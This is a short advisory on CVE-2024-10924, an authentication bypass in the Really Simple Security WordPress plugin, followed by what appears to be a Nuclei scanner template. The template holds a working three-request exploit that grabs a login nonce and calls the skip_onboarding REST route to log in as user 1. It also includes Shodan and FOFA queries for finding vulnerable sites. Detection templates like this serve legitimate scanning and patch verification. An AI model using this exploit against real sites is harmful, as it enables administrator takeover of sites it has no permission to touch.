The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
PoC
id: CVE-2024-10924
info:
name: Really Simple Security < 9.1.2 - Authentication Bypass
author: yaser_s
severity: critical
description: |
The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
impact: |
Unauthenticated attackers can exploit improper error handling in the two-factor authentication REST API to bypass authentication and log in as any user including administrators when two-factor authentication is enabled.
remediation: Fixed in 9.1.2
reference:
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L277
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L278
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L67
- https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl
- https://wpscan.com/vulnerability/8e1f4374-2e41-4c27-80d4-db172015c6be/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/7d5d05ad-1a7a-43d2-bbbf-597e975446be?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-10924
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-10924
cwe-id: CWE-288,CWE-306
epss-score: 0.82025
epss-percentile: 0.99633
cpe: cpe:2.3:a:really-simple-plugins:really_simple_security:*:*:*:*:-:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: really-simple-plugins
product: really_simple_security
framework: wordpress
shodan-query: html:"/wp-content/plugins/really-simple-ssl"
fofa-query: body="/wp-content/plugins/really-simple-ssl"
tags: cve,cve2024,wp,wp-plugin,wordpress,auth-bypass,really-simple-ssl,vkev,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body_1
group: 1
regex:
- '"nonce":"([a-z0-9]+)"\}'
internal: true
- raw:
- |
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"user_id": 1,
"login_nonce": "{{nonce}}",
"redirect_to": "/wp-admin/"
}
matchers:
- type: word
part: body
words:
- '"redirect_to":"\/wp-admin\/"'
internal: true
- raw:
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Personal Options'
- type: word
part: content_type
words:
- 'text/html'
# digest: 4a0a00473045022100ffe516da44720bd0f5a4d13d32606548ddd3430a9cf9c8c522507360d286d2d9022064e7cdd39a8b0b6eba5a1e8f24922be4fb6938ac3b9aee9c2016eaa5fe612f62:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.